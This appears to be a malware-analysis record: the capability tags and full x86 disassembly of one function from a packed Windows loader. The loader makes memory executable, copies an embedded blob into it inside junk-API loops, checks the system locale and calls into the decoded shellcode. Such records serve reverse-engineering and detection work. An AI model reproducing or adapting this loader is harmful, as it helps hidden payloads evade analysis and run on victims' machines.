Function at 0x40219f
Capabilities:
Allocate or change rwx memory
Copy file
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x41ad89
call fcn.0041ac88
mov ecx, dword [0x2d3af74]
sub esp, 0xccc
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x402286
push str.hupazeheyomenomodenicoj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4d8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0xcd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call fcn.00406765
pop ecx
push ebx
call fcn.0040563b
lea ecx, [ebp - 0x1c]
mov dword [esp], str.bad_exception
call fcn.004010d0
lea ecx, [ebp - 0x1c]
call fcn.004010ec
push ebx
push ebx
call fcn.0040560e
push ebx
call fcn.00406373
add esp, 0xc
push ebx
call fcn.004067dc
pop ecx
push ebx
call fcn.00406373
mov dword [esp], 0x4217c4
call fcn.0040639d
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00402b78
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.00402b85
push ecx
push ecx
lea ecx, [ebp - 0xd8]
call fcn.00402bc2
lea ecx, [ebp - 0xd8]
call fcn.00402417
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00402bb2
mov ecx, dword [0x2d3af74]
mov eax, dword [0x427ee8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d3b978], eax
mov dword [0x2d3af74], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x28]
mov dword [0x2d3a96c], eax
push ecx
push 0x40
push dword [0x2d3af74]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4022c1
mov ecx, dword [0x2d3af74]
mov esi, ebx
test ecx, ecx
je 0x402334
mov eax, dword [0x2d3b978]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d3a96c]
mov byte [eax + esi], cl
mov ecx, dword [0x2d3af74]
cmp ecx, 0x490
jne 0x40232f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x8d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d3af74]
inc esi
cmp esi, ecx
jb 0x4022d7
mov esi, ebx
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x402384
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0x8d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
lea eax, [ebp - 0x4d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d3af74]
inc esi
cmp esi, 0x38681
jl 0x402336
push ecx
call fcn.0040215c
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4023a5
call fcn.00402183
inc esi
cmp esi, 0x674db
jl 0x402395
push 0x7b
pop esi
cmp dword [0x2d3af74], 0x86
jne 0x4023f3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push str.ledotimajisulunuhegogoduki
push str.rayigunage
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x4023b1
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d3a96c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret